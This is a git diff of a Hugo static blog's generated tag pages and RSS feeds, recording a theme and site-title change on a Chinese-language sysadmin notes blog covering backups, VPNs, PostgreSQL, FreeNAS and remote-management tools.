    + + + + + + - - + diff --git a/public/tags/docker/index.xml b/public/tags/docker/index.xml index 76255faf..0f77325f 100644 --- a/public/tags/docker/index.xml +++ b/public/tags/docker/index.xml @@ -1,10 +1,11 @@ - Docker on MCの飄狂山莊㊣ + docker on MC部落 https://h.cowbay.org/tags/docker/ - Recent content in Docker on MCの飄狂山莊㊣ + Recent content in docker on MC部落 Hugo -- gohugo.io + en-us Tue, 21 May 2019 17:25:15 +0800 @@ -43,9 +44,7 @@ <p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> +<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> diff --git a/themes/public/tags/docker/page/1/index.html b/public/tags/docker/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/docker/page/1/index.html rename to public/tags/docker/page/1/index.xml/index.html diff --git a/public/tags/du/index.html b/public/tags/du/index.html index fab0f479..98d299cb 100644 --- a/public/tags/du/index.html +++ b/public/tags/du/index.html @@ -1,400 +1,474 @@ - - - - - - - - - - - Du | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + du + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: du + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 06 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近在重新規劃前人留下的backup爛攤子 各個伺服器統一備份到一台backup storage 想說如果每天能夠看到backup storage的磁碟用量的話 就可以抓出備份空間成長速度、推估需要多大的磁碟空間 找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 基本上可以滿足我的需求

    - - - - -
    - - - +
    +
    + +
    +
    +
    - - + - - - + +

    What’s the Worst That Could Happen?

    + - -
    - +
    - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/du/index.xml b/public/tags/du/index.xml index 421dfc27..98d30d45 100644 --- a/public/tags/du/index.xml +++ b/public/tags/du/index.xml @@ -1,10 +1,11 @@ - Du on MCの飄狂山莊㊣ + du on MC部落 https://h.cowbay.org/tags/du/ - Recent content in Du on MCの飄狂山莊㊣ + Recent content in du on MC部落 Hugo -- gohugo.io + en-us Tue, 06 Nov 2018 15:24:29 +0800 diff --git a/themes/public/tags/du/page/1/index.html b/public/tags/du/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/du/page/1/index.html rename to public/tags/du/page/1/index.xml/index.html diff --git a/public/tags/edgerouter/index.html b/public/tags/edgerouter/index.html index 357308d3..e8a2fe77 100644 --- a/public/tags/edgerouter/index.html +++ b/public/tags/edgerouter/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Edgerouter | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + edgerouter + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: edgerouter + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 06 August 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

    然後用strongswan 來打 IPSEC site to site VPN

    @@ -151,265 +341,147 @@

    於是研究了一下,發現還真的很簡單!

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/edgerouter/index.xml b/public/tags/edgerouter/index.xml index 9370e354..fd7b2b68 100644 --- a/public/tags/edgerouter/index.xml +++ b/public/tags/edgerouter/index.xml @@ -1,10 +1,11 @@ - Edgerouter on MCの飄狂山莊㊣ + edgerouter on MC部落 https://h.cowbay.org/tags/edgerouter/ - Recent content in Edgerouter on MCの飄狂山莊㊣ + Recent content in edgerouter on MC部落 Hugo -- gohugo.io + en-us Tue, 06 Aug 2019 17:14:17 +0800 @@ -34,9 +35,7 @@ <p>今天看到文章說用wireguard 可以更簡單</p> -<p>於是研究了一下,發現還真的很簡單!</p> - -<p></p> +<p>於是研究了一下,發現還真的很簡單!</p> diff --git a/public/tags/edgerouter/page/1/index.xml/index.html b/public/tags/edgerouter/page/1/index.xml/index.html new file mode 100644 index 00000000..7d07f3b0 --- /dev/null +++ b/public/tags/edgerouter/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/edgerouter/ \ No newline at end of file diff --git a/public/tags/failover/index.html b/public/tags/failover/index.html index 13a3b4ba..eba27c46 100644 --- a/public/tags/failover/index.html +++ b/public/tags/failover/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Failover | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + failover + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: failover + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 20 September 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近都在弄postgresql

    備份、還原測試得差不多了,就等著看到時候要用什麼方式

    @@ -143,265 +333,147 @@

    不過,反正當作練功嘛,多測試一套也不錯!

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/failover/index.xml b/public/tags/failover/index.xml index 59475bc2..84d23433 100644 --- a/public/tags/failover/index.xml +++ b/public/tags/failover/index.xml @@ -1,10 +1,11 @@ - Failover on MCの飄狂山莊㊣ + failover on MC部落 https://h.cowbay.org/tags/failover/ - Recent content in Failover on MCの飄狂山莊㊣ + Recent content in failover on MC部落 Hugo -- gohugo.io + en-us Fri, 20 Sep 2019 10:17:17 +0800 @@ -26,9 +27,7 @@ <p>感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA</p> -<p>不過,反正當作練功嘛,多測試一套也不錯!</p> - -<p></p> +<p>不過,反正當作練功嘛,多測試一套也不錯!</p> diff --git a/public/tags/failover/page/1/index.xml/index.html b/public/tags/failover/page/1/index.xml/index.html new file mode 100644 index 00000000..4415a67f --- /dev/null +++ b/public/tags/failover/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/failover/ \ No newline at end of file diff --git a/public/tags/firefox/index.html b/public/tags/firefox/index.html index 31df5146..17471ec7 100644 --- a/public/tags/firefox/index.html +++ b/public/tags/firefox/index.html @@ -1,405 +1,475 @@ - - - - - - - - - - - Firefox | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + firefox + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: firefox + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 15 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近在測試metabase,記得幾個月前就有測試過

    - -
    - +

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    + +

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    + +

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    + + + +
    +
    +
    + +
    +
    + + + + + + - - + diff --git a/public/tags/firefox/index.xml b/public/tags/firefox/index.xml index e9bb5b70..06f3328b 100644 --- a/public/tags/firefox/index.xml +++ b/public/tags/firefox/index.xml @@ -1,10 +1,11 @@ - Firefox on MCの飄狂山莊㊣ + firefox on MC部落 https://h.cowbay.org/tags/firefox/ - Recent content in Firefox on MCの飄狂山莊㊣ + Recent content in firefox on MC部落 Hugo -- gohugo.io + en-us Thu, 15 Nov 2018 11:06:28 +0800 @@ -22,9 +23,7 @@ <p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> +<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> diff --git a/themes/public/tags/firefox/page/1/index.html b/public/tags/firefox/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/firefox/page/1/index.html rename to public/tags/firefox/page/1/index.xml/index.html diff --git a/public/tags/freenas/index.html b/public/tags/freenas/index.html index 983c6b5b..d9c70697 100644 --- a/public/tags/freenas/index.html +++ b/public/tags/freenas/index.html @@ -1,401 +1,475 @@ - - - - - - - - - - - Freenas | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + freenas + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: freenas + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 13 December 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

    - -
    - +

    因為伺服器的限制,只能接六個SATA,我接了六個2T的硬碟做raid10

    + +

    然後把Freenas 安裝在隨身碟上

    + +

    不過會一直出現Smartd failed to start 的錯誤訊息

    + + + +
    +
    +
    + +
    +
    + + + + + + - - + diff --git a/public/tags/freenas/index.xml b/public/tags/freenas/index.xml index b73dfb9e..d1f3c998 100644 --- a/public/tags/freenas/index.xml +++ b/public/tags/freenas/index.xml @@ -1,10 +1,11 @@ - Freenas on MCの飄狂山莊㊣ + freenas on MC部落 https://h.cowbay.org/tags/freenas/ - Recent content in Freenas on MCの飄狂山莊㊣ + Recent content in freenas on MC部落 Hugo -- gohugo.io + en-us Thu, 13 Dec 2018 17:40:20 +0800 @@ -22,9 +23,7 @@ <p>然後把Freenas 安裝在隨身碟上</p> -<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> - -<p></p> +<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> diff --git a/public/tags/freenas/page/1/index.xml/index.html b/public/tags/freenas/page/1/index.xml/index.html new file mode 100644 index 00000000..691f1833 --- /dev/null +++ b/public/tags/freenas/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/freenas/ \ No newline at end of file diff --git a/public/tags/index.html b/public/tags/index.html index 93dc35d6..6161558d 100644 --- a/public/tags/index.html +++ b/public/tags/index.html @@ -1,335 +1,18 @@ - - - - - - - - - - - Tags | MCの飄狂山莊㊣ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MCの飄狂山莊㊣

    - - What’s the Worst That Could Happen? - -
    - - - - -
    - - -
    -
    -
    - - - - - - - - - - - - + + + + + + + + Tags | MCの飄狂山莊㊣ + + + + + + + + + +
    + + +
    +
    + +
    +
    +

    Tags

    + +
    +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    +
    + + - - - - - - - - - - - - - - - - - - - - - - - - +
    +
    + +
    + + \ No newline at end of file diff --git a/public/tags/index.xml b/public/tags/index.xml index 69947c5f..56a46f7b 100644 --- a/public/tags/index.xml +++ b/public/tags/index.xml @@ -1,152 +1,153 @@ - Tags on MCの飄狂山莊㊣ + Tags on MC部落 https://h.cowbay.org/tags/ - Recent content in Tags on MCの飄狂山莊㊣ + Recent content in Tags on MC部落 Hugo -- gohugo.io - Fri, 30 Nov 2018 16:05:14 +0800 + en-us + Mon, 14 Oct 2019 13:59:58 +0800 - 10g - https://h.cowbay.org/tags/10g/ - Fri, 30 Nov 2018 16:05:14 +0800 + vpn + https://h.cowbay.org/tags/vpn/ + Mon, 14 Oct 2019 13:59:58 +0800 - https://h.cowbay.org/tags/10g/ + https://h.cowbay.org/tags/vpn/ - Ansible - https://h.cowbay.org/tags/ansible/ - Mon, 05 Aug 2019 16:24:40 +0800 + wireguard + https://h.cowbay.org/tags/wireguard/ + Mon, 14 Oct 2019 13:59:58 +0800 - https://h.cowbay.org/tags/ansible/ + https://h.cowbay.org/tags/wireguard/ - Backup - https://h.cowbay.org/tags/backup/ - Fri, 06 Sep 2019 10:42:11 +0800 + launcher + https://h.cowbay.org/tags/launcher/ + Fri, 04 Oct 2019 14:12:15 +0800 - https://h.cowbay.org/tags/backup/ + https://h.cowbay.org/tags/launcher/ - Benchmark - https://h.cowbay.org/tags/benchmark/ - Tue, 10 Sep 2019 14:37:09 +0800 + failover + https://h.cowbay.org/tags/failover/ + Fri, 20 Sep 2019 10:17:17 +0800 - https://h.cowbay.org/tags/benchmark/ + https://h.cowbay.org/tags/failover/ - Bookstack - https://h.cowbay.org/tags/bookstack/ - Tue, 06 Nov 2018 14:57:14 +0800 + postgresql + https://h.cowbay.org/tags/postgresql/ + Fri, 20 Sep 2019 10:17:17 +0800 - https://h.cowbay.org/tags/bookstack/ + https://h.cowbay.org/tags/postgresql/ - Bsd - https://h.cowbay.org/tags/bsd/ - Tue, 23 Apr 2019 15:28:56 +0800 + benchmark + https://h.cowbay.org/tags/benchmark/ + Tue, 10 Sep 2019 14:37:09 +0800 - https://h.cowbay.org/tags/bsd/ + https://h.cowbay.org/tags/benchmark/ - Centos - https://h.cowbay.org/tags/centos/ - Wed, 27 Mar 2019 17:44:49 +0800 + nvme + https://h.cowbay.org/tags/nvme/ + Tue, 10 Sep 2019 14:37:09 +0800 - https://h.cowbay.org/tags/centos/ + https://h.cowbay.org/tags/nvme/ - Docker - https://h.cowbay.org/tags/docker/ - Tue, 21 May 2019 17:25:15 +0800 + backup + https://h.cowbay.org/tags/backup/ + Fri, 06 Sep 2019 10:42:11 +0800 - https://h.cowbay.org/tags/docker/ + https://h.cowbay.org/tags/backup/ - Du - https://h.cowbay.org/tags/du/ - Tue, 06 Nov 2018 15:24:29 +0800 + restore + https://h.cowbay.org/tags/restore/ + Fri, 06 Sep 2019 10:42:11 +0800 - https://h.cowbay.org/tags/du/ + https://h.cowbay.org/tags/restore/ - Edgerouter - https://h.cowbay.org/tags/edgerouter/ - Tue, 06 Aug 2019 17:14:17 +0800 + zfs + https://h.cowbay.org/tags/zfs/ + Fri, 06 Sep 2019 10:42:11 +0800 - https://h.cowbay.org/tags/edgerouter/ + https://h.cowbay.org/tags/zfs/ - Failover - https://h.cowbay.org/tags/failover/ - Fri, 20 Sep 2019 10:17:17 +0800 + pgbarman + https://h.cowbay.org/tags/pgbarman/ + Fri, 23 Aug 2019 14:54:13 +0800 - https://h.cowbay.org/tags/failover/ + https://h.cowbay.org/tags/pgbarman/ - Firefox - https://h.cowbay.org/tags/firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 + nvidia + https://h.cowbay.org/tags/nvidia/ + Tue, 20 Aug 2019 14:51:54 +0800 - https://h.cowbay.org/tags/firefox/ + https://h.cowbay.org/tags/nvidia/ - Freenas - https://h.cowbay.org/tags/freenas/ - Thu, 13 Dec 2018 17:40:20 +0800 + ubuntu + https://h.cowbay.org/tags/ubuntu/ + Tue, 13 Aug 2019 15:50:31 +0800 - https://h.cowbay.org/tags/freenas/ + https://h.cowbay.org/tags/ubuntu/ - Inventory - https://h.cowbay.org/tags/inventory/ - Tue, 23 Apr 2019 15:28:56 +0800 + edgerouter + https://h.cowbay.org/tags/edgerouter/ + Tue, 06 Aug 2019 17:14:17 +0800 - https://h.cowbay.org/tags/inventory/ + https://h.cowbay.org/tags/edgerouter/ - Launcher - https://h.cowbay.org/tags/launcher/ - Fri, 04 Oct 2019 14:12:15 +0800 + ansible + https://h.cowbay.org/tags/ansible/ + Mon, 05 Aug 2019 16:24:40 +0800 - https://h.cowbay.org/tags/launcher/ + https://h.cowbay.org/tags/ansible/ - Linux + linux https://h.cowbay.org/tags/linux/ Wed, 31 Jul 2019 11:06:33 +0800 @@ -155,254 +156,254 @@ - Log - https://h.cowbay.org/tags/log/ - Tue, 23 Apr 2019 15:08:36 +0800 + PXE + https://h.cowbay.org/tags/pxe/ + Wed, 31 Jul 2019 11:06:33 +0800 - https://h.cowbay.org/tags/log/ + https://h.cowbay.org/tags/pxe/ - Mdadm - https://h.cowbay.org/tags/mdadm/ - Wed, 12 Dec 2018 11:10:22 +0800 + meshcentral + https://h.cowbay.org/tags/meshcentral/ + Thu, 20 Jun 2019 11:03:12 +0800 - https://h.cowbay.org/tags/mdadm/ + https://h.cowbay.org/tags/meshcentral/ - Mellanox - https://h.cowbay.org/tags/mellanox/ - Fri, 30 Nov 2018 16:05:14 +0800 + remote + https://h.cowbay.org/tags/remote/ + Thu, 20 Jun 2019 11:03:12 +0800 - https://h.cowbay.org/tags/mellanox/ + https://h.cowbay.org/tags/remote/ - Meshcentral - https://h.cowbay.org/tags/meshcentral/ - Thu, 20 Jun 2019 11:03:12 +0800 + proxmox + https://h.cowbay.org/tags/proxmox/ + Mon, 17 Jun 2019 13:20:57 +0800 - https://h.cowbay.org/tags/meshcentral/ + https://h.cowbay.org/tags/proxmox/ - Metabase - https://h.cowbay.org/tags/metabase/ - Thu, 15 Nov 2018 11:06:28 +0800 + docker + https://h.cowbay.org/tags/docker/ + Tue, 21 May 2019 17:25:15 +0800 - https://h.cowbay.org/tags/metabase/ + https://h.cowbay.org/tags/docker/ - Nas - https://h.cowbay.org/tags/nas/ - Tue, 04 Dec 2018 10:25:19 +0800 + timezone + https://h.cowbay.org/tags/timezone/ + Tue, 21 May 2019 17:25:15 +0800 - https://h.cowbay.org/tags/nas/ + https://h.cowbay.org/tags/timezone/ - Nvidia - https://h.cowbay.org/tags/nvidia/ - Tue, 20 Aug 2019 14:51:54 +0800 + bsd + https://h.cowbay.org/tags/bsd/ + Tue, 23 Apr 2019 15:28:56 +0800 - https://h.cowbay.org/tags/nvidia/ + https://h.cowbay.org/tags/bsd/ - Nvme - https://h.cowbay.org/tags/nvme/ - Tue, 10 Sep 2019 14:37:09 +0800 + inventory + https://h.cowbay.org/tags/inventory/ + Tue, 23 Apr 2019 15:28:56 +0800 - https://h.cowbay.org/tags/nvme/ + https://h.cowbay.org/tags/inventory/ - Pgbarman - https://h.cowbay.org/tags/pgbarman/ - Fri, 23 Aug 2019 14:54:13 +0800 + log + https://h.cowbay.org/tags/log/ + Tue, 23 Apr 2019 15:08:36 +0800 - https://h.cowbay.org/tags/pgbarman/ + https://h.cowbay.org/tags/log/ - Postgresql - https://h.cowbay.org/tags/postgresql/ - Fri, 20 Sep 2019 10:17:17 +0800 + centos + https://h.cowbay.org/tags/centos/ + Wed, 27 Mar 2019 17:44:49 +0800 - https://h.cowbay.org/tags/postgresql/ + https://h.cowbay.org/tags/centos/ - Proxmox - https://h.cowbay.org/tags/proxmox/ - Mon, 17 Jun 2019 13:20:57 +0800 + raid + https://h.cowbay.org/tags/raid/ + Wed, 16 Jan 2019 09:58:50 +0800 - https://h.cowbay.org/tags/proxmox/ + https://h.cowbay.org/tags/raid/ - Ps - https://h.cowbay.org/tags/ps/ - Mon, 05 Nov 2018 07:46:53 +0800 + freenas + https://h.cowbay.org/tags/freenas/ + Thu, 13 Dec 2018 17:40:20 +0800 - https://h.cowbay.org/tags/ps/ + https://h.cowbay.org/tags/freenas/ - Psql - https://h.cowbay.org/tags/psql/ - Mon, 12 Nov 2018 09:48:12 +0800 + mdadm + https://h.cowbay.org/tags/mdadm/ + Wed, 12 Dec 2018 11:10:22 +0800 - https://h.cowbay.org/tags/psql/ + https://h.cowbay.org/tags/mdadm/ - Pxe - https://h.cowbay.org/tags/pxe/ - Wed, 31 Jul 2019 11:06:33 +0800 + vim + https://h.cowbay.org/tags/vim/ + Fri, 07 Dec 2018 15:19:47 +0800 - https://h.cowbay.org/tags/pxe/ + https://h.cowbay.org/tags/vim/ - Raid - https://h.cowbay.org/tags/raid/ - Wed, 16 Jan 2019 09:58:50 +0800 + NAS + https://h.cowbay.org/tags/nas/ + Tue, 04 Dec 2018 10:25:19 +0800 - https://h.cowbay.org/tags/raid/ + https://h.cowbay.org/tags/nas/ - Remote - https://h.cowbay.org/tags/remote/ - Thu, 20 Jun 2019 11:03:12 +0800 + synology + https://h.cowbay.org/tags/synology/ + Tue, 04 Dec 2018 10:25:19 +0800 - https://h.cowbay.org/tags/remote/ + https://h.cowbay.org/tags/synology/ - Restore - https://h.cowbay.org/tags/restore/ - Fri, 06 Sep 2019 10:42:11 +0800 + 群暉 + https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ + Tue, 04 Dec 2018 10:25:19 +0800 - https://h.cowbay.org/tags/restore/ + https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ - Ssh - https://h.cowbay.org/tags/ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 + 10G + https://h.cowbay.org/tags/10g/ + Fri, 30 Nov 2018 16:05:14 +0800 - https://h.cowbay.org/tags/ssh/ + https://h.cowbay.org/tags/10g/ - Synology - https://h.cowbay.org/tags/synology/ - Tue, 04 Dec 2018 10:25:19 +0800 + mellanox + https://h.cowbay.org/tags/mellanox/ + Fri, 30 Nov 2018 16:05:14 +0800 - https://h.cowbay.org/tags/synology/ + https://h.cowbay.org/tags/mellanox/ - Timezone - https://h.cowbay.org/tags/timezone/ - Tue, 21 May 2019 17:25:15 +0800 + 筆記 + https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ + Fri, 30 Nov 2018 16:05:14 +0800 - https://h.cowbay.org/tags/timezone/ + https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ - Ubuntu - https://h.cowbay.org/tags/ubuntu/ - Tue, 13 Aug 2019 15:50:31 +0800 + firefox + https://h.cowbay.org/tags/firefox/ + Thu, 15 Nov 2018 11:06:28 +0800 - https://h.cowbay.org/tags/ubuntu/ + https://h.cowbay.org/tags/firefox/ - Vim - https://h.cowbay.org/tags/vim/ - Fri, 07 Dec 2018 15:19:47 +0800 + metabase + https://h.cowbay.org/tags/metabase/ + Thu, 15 Nov 2018 11:06:28 +0800 - https://h.cowbay.org/tags/vim/ + https://h.cowbay.org/tags/metabase/ - Vpn - https://h.cowbay.org/tags/vpn/ - Fri, 16 Aug 2019 10:18:06 +0800 + psql + https://h.cowbay.org/tags/psql/ + Mon, 12 Nov 2018 09:48:12 +0800 - https://h.cowbay.org/tags/vpn/ + https://h.cowbay.org/tags/psql/ - Wireguard - https://h.cowbay.org/tags/wireguard/ - Fri, 16 Aug 2019 10:18:06 +0800 + du + https://h.cowbay.org/tags/du/ + Tue, 06 Nov 2018 15:24:29 +0800 - https://h.cowbay.org/tags/wireguard/ + https://h.cowbay.org/tags/du/ - Zfs - https://h.cowbay.org/tags/zfs/ - Fri, 06 Sep 2019 10:42:11 +0800 + Bookstack + https://h.cowbay.org/tags/bookstack/ + Tue, 06 Nov 2018 14:57:14 +0800 - https://h.cowbay.org/tags/zfs/ + https://h.cowbay.org/tags/bookstack/ - 短今 - https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ - Mon, 05 Nov 2018 07:46:53 +0800 + SSH + https://h.cowbay.org/tags/ssh/ + Mon, 05 Nov 2018 14:16:54 +0800 - https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ + https://h.cowbay.org/tags/ssh/ - 筆記 - https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ - Fri, 30 Nov 2018 16:05:14 +0800 + ps + https://h.cowbay.org/tags/ps/ + Mon, 05 Nov 2018 07:46:53 +0800 - https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ + https://h.cowbay.org/tags/ps/ - 群暉 - https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ - Tue, 04 Dec 2018 10:25:19 +0800 + 短今 + https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ + Mon, 05 Nov 2018 07:46:53 +0800 - https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ + https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ diff --git a/public/tags/inventory/index.html b/public/tags/inventory/index.html index cd6dd99e..5273ef90 100644 --- a/public/tags/inventory/index.html +++ b/public/tags/inventory/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Inventory | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + inventory + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: inventory + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 23 April 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

    然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

    @@ -141,267 +331,147 @@

    然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/inventory/index.xml b/public/tags/inventory/index.xml index 30c156d8..5944b84e 100644 --- a/public/tags/inventory/index.xml +++ b/public/tags/inventory/index.xml @@ -1,10 +1,11 @@ - Inventory on MCの飄狂山莊㊣ + inventory on MC部落 https://h.cowbay.org/tags/inventory/ - Recent content in Inventory on MCの飄狂山莊㊣ + Recent content in inventory on MC部落 Hugo -- gohugo.io + en-us Tue, 23 Apr 2019 15:28:56 +0800 @@ -24,9 +25,7 @@ <p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> -<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> - -<p></p> +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> diff --git a/public/tags/inventory/page/1/index.xml/index.html b/public/tags/inventory/page/1/index.xml/index.html new file mode 100644 index 00000000..fc2baaa7 --- /dev/null +++ b/public/tags/inventory/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/inventory/ \ No newline at end of file diff --git a/public/tags/launcher/index.html b/public/tags/launcher/index.html index 1f087665..1498578b 100644 --- a/public/tags/launcher/index.html +++ b/public/tags/launcher/index.html @@ -1,397 +1,471 @@ - - - - - - - - - - - Launcher | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + launcher + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - +
    + -
    - + + +
    + +
    +

    + Tag: launcher + + + + rss + + +

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 04 October 2019 / + + + + + + + + + + + + / + + + + +
    + +
    + +
    +
    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + +

    What’s the Worst That Could Happen?

    + + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - - + diff --git a/public/tags/launcher/index.xml b/public/tags/launcher/index.xml index 94c0e9ea..00bbe1fa 100644 --- a/public/tags/launcher/index.xml +++ b/public/tags/launcher/index.xml @@ -1,10 +1,11 @@ - Launcher on MCの飄狂山莊㊣ + launcher on MC部落 https://h.cowbay.org/tags/launcher/ - Recent content in Launcher on MCの飄狂山莊㊣ + Recent content in launcher on MC部落 Hugo -- gohugo.io + en-us Fri, 04 Oct 2019 14:12:15 +0800 @@ -18,9 +19,7 @@ https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ <p>這兩天在找關於在 ubuntu 中做搜尋的軟體</p> -<p>意外找到一個非常好用的工具 ulauncher</p> - -<p></p> +<p>意外找到一個非常好用的工具 ulauncher</p> diff --git a/public/tags/launcher/page/1/index.xml/index.html b/public/tags/launcher/page/1/index.xml/index.html new file mode 100644 index 00000000..dcd023ce --- /dev/null +++ b/public/tags/launcher/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/launcher/ \ No newline at end of file diff --git a/public/tags/linux/index.html b/public/tags/linux/index.html index 091af329..decb930e 100644 --- a/public/tags/linux/index.html +++ b/public/tags/linux/index.html @@ -1,553 +1,595 @@ - - - - - - - - - - - Linux | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + - - - - - - - - - + linux - - - - - - - - - - + + + + -
    -
    - -
    -

    MCの飄狂山莊㊣

    - - What’s the Worst That Could Happen? - -
    + - + + + - -
    - - -
    -
    -
    + + -
    - - - -
    - - - - + + -
    - - + + +
    + Skip to content +
    - - -
    +
  • + +
  • -
    - - - - -
    - - - -
    -

    linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

    -
    - - - 2019-06-20 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - +
  • + + + instagram + +
  • -

    之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

    - -

    但是如果要過 internet ,就會碰到各種開port的問題

    - -

    在這種環境下,就有了當時 teamviewer 的橫空出世

    - -

    解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多

    -

    只要下載teamviewer被控端,開啟後報ID 給協助者就好了

    - -

    - - - - -
    - +
  • + +
  • - - -
    - -
    -
    - - - - - -
    +
  • + + + stackoverflow + +
  • - - - -
    -

    Transfer File Content Using Xclip in Terminal

